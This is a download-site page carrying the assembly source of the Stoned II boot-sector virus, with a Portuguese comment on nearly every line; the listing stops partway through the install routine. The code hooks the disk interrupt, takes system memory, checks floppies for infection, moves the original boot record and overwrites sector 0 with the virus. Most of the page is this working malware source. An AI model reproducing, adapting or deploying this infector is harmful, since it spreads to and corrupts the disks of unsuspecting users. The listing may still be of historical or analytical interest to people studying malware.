⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 virus stoned.asm

📁 Commented (pt-br) source code of Stoned, the icon of viruses that claim for freedom.
💻 ASM
字号:
;
;       *****************************************************************
;       *                                                               *
;       *       Arquivo:        STONEDII.ASM                            *
;       *       Descricao:      Listagem do virus Stoned II             *
;       *       Data:           Nov/1991                                *
;       *       Linguagem:      Assembly 8086/8088                      *
;       *       Autor:          MACHINATOR                              *
;       *                                                               *
;       *****************************************************************
;
        JMP     07C0:0005       ;Teste carga no end. certo e ajuste CS e IP
        JMP     INSTALL         ;Salte para o instalador
;
0008    DB      000H
;
INT_13_OFF:
        DW      ?               ;Offset da verdadeira Int 13
INT_13_SEG:
        DW      ?               ;Segmento da verdadeira Int 13
COD_CONT_OFF:
        DW      000E4H          ;Endereco da continuacao do instalador
COD_CONT_SEG:
        DW      ?               ;Segmento alocado p/ operacao
BOOT_OFF:
        DW      07C00H          ;Offset do inicio do boot carregado
BOOT_SEG:
        DW      00000H          ;Segmento do inicio do boot carregado
;
0014    DB      000H
;
INTERCEPTER:
        PUSH    DS              ;Salve os registradores que serao utilizados
        PUSH    AX
        CMP     AH,02           ;Nao faca nada se funcao menor que 02
        JB      DONT_CONTM
        CMP     AH,04           ;Ou se funcao maior que 04
        JNB     DONT_CONTM
        OR      DL,DL           ;Ou de a operacao nao for no drive A:
        JNZ     DONT_CONTM
        XOR     AX,AX           ;Ou se os motores estiverem desligados
        MOV     DS,AX
        MOV     AL,[043F]
        TEST    AL,01
        JNZ     DONT_CONTM
        CALL    CONTM           ;Se passou por todos os testes, intercepte
DONT_CONTM:
        POP     AX              ;Recupere registradores utilizados
        POP     DS
        CS:
        JMP     FAR [INT_13_OFF]        ;Salte p/ a verdadeira Int 13
CONTM:
        PUSH    BX              ;Salve registradores
        PUSH    CX
        PUSH    DX
        PUSH    ES
        PUSH    SI
        PUSH    DI
        MOV     SI,0004         ;Quantidade de tentativas
RETRY:
        MOV     AX,0201         ;Leia o setor 0 (boot) do drive A:
        PUSH    CS              ;No segmento do codigo
        POP     ES
        MOV     BX,0200         ;A partir de 0200 (apos o codigo)
        XOR     CX,CX
        MOV     DX,CX
        INC     CX              
        PUSHF                   ;Salve flags (p/ o Iret)
        CS:
        CALL    FAR [INT_13_OFF]        ;Chame a verdadeira Int 13
        JNB     NO_ERROR0       ;Se Ok, salte p/ restante do interceptador
        XOR     AX,AX           ;Se erro, faca um reset da unidade de disco
        PUSHF                   ;Salve flags (p/ o Iret)
        CS:
        CALL    FAR [INT_13_OFF]        ;Chame a verdadeira Int 13
        DEC     SI              ;Decremente contador de erros
        JNZ     RETRY           ;Se ainda nao for 0, repita a operacao
        JMP     ALRDY_CONTM             ;Caso contrario desista
        NOP
NO_ERROR0:
        XOR     SI,SI           ;DS:SI aponta para inicio do codigo
        MOV     DI,0200         ;ES:DI aponta para o inicio do setor lido
        CLD
        PUSH    CS
        POP     DS
        LODSW                   ;Compare palavra do setor lido
        CMP     AX,[DI]         ;  com o do codigo do virus
        JNZ     NOT_CONTM       ;Se diferente, contamine esse disco
        LODSW                   ;Compare as proximas palavras
        CMP     AX,[DI+02]
        JZ      ALRDY_CONTM             ;Se iguais, disco ja contaminado, retorne
NOT_CONTM:
        MOV     AX,0301         ;Caso contrario grave boot original
        MOV     BX,0200         ;   no setor 0, trilha 0, face B
        MOV     CL,03
        MOV     DH,01
        PUSHF                   ;Salve flags (p/ o Iret)
        CS:
        CALL    FAR [INT_13_OFF]        ;Chame a verdadeira Int 13
        JB      ALRDY_CONTM     ;Se erro, desista e retorne
        MOV     AX,0301         ;Grave o codigo do virus no setor de boot
        XOR     BX,BX           ;       setor 0, trilha 0, face A
        MOV     CL,01
        XOR     DX,DX
        PUSHF                   ;Salve flags (p/ o Iret)
        CS:
        CALL    FAR [INT_13_OFF]        ;Chame a verdadeira Int 13
ALRDY_CONTM:
        POP     DI              ;Recupere registradores utilizados
        POP     SI
        POP     ES
        POP     DX
        POP     CX
        POP     BX
        RET                     ;Retorne
;
INSTALL:
        XOR     AX,AX           ;Aponte DS p/ tabela de vetores
        MOV     DS,AX
        CLI                     ;Desative interrupcoes por um momento
        MOV     SS,AX           ;       p/ ajustar SS e SP
        MOV     SP,7C00
        STI
        MOV     AX,[004C]       ;Salve offset da Int 13
        MOV     [7C09],AX
        MOV     AX,[004E]       ;Salve segmento da Int 13
        MOV     [7C0B],AX
        MOV     AX,[0413]       ;Roube 2Kb da memoria do sistema
        DEC     AX
        DEC     AX
        MOV     [0413],AX       
        MOV     CL,06           ;Multiplique por 64 (paragrafos por Kb) p/
        SHL     AX,CL           ;    calcular inicio da memoria roubada
        MOV     ES,AX
        MOV     [7C0F],AX       ;Salve o segmento 
        MOV     AX,INTERCEPTER  ;Redirecione vetor da Int 13 para o
        MOV     [004C],AX       ; endereco 15 do segmento roubado
        MOV     [004E],ES       
        MOV     CX,01B8
        PUSH    CS              ;Aponte DS:SI p/ inicio do codigo
        POP     DS
        XOR     SI,SI
        MOV     DI,SI           ;Aponte ES:DI p/ a area de instalacao
        CLD
        REPZ
        MOVSB
        CS:
        JMP     FAR [COD_CONT_OFF]      ;Execute a instrucao abaixo, no segmento alocado
ANOTH_SEG:
        MOV     AX,0000
        INT     13
        XOR     AX,AX           ;Prepare segmento p/ leitura do boot verdadeiro
        MOV     ES,AX
        MOV     AX,0201         ;Leitura de um setor p/ o 
        MOV     BX,7C00         ;   endereco 0000:7C00
        CS:
        CMP     BYTE [0008],00  ;Verifique se carga foi em floppy ou winch
        JZ      FLOPPY          ;Se floppy salte 
        MOV     CX,0007         ;Se winch: cilindro 0, setor 7
        MOV     DX,0080         ;          cabeca 0 e unidade 80 (C:)
        INT     13              ;Leia
        JMP     EXEC_BOOT       ;Salte p/ execucao do boot normal
        NOP
FLOPPY:
        MOV     CX,0003         ;Se floppy: cilindro 0, setor 3
        MOV     DX,0100         ;  cabeca 1 (face B) e unidade 0 (A:)
        INT     13              ;Leia
        JB      EXEC_BOOT       ;Se erro, salte p/ execucao do boot normal
        ES:
        TEST    BYTE [046C],07  ;Teste se timer esta em um intervalo de 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -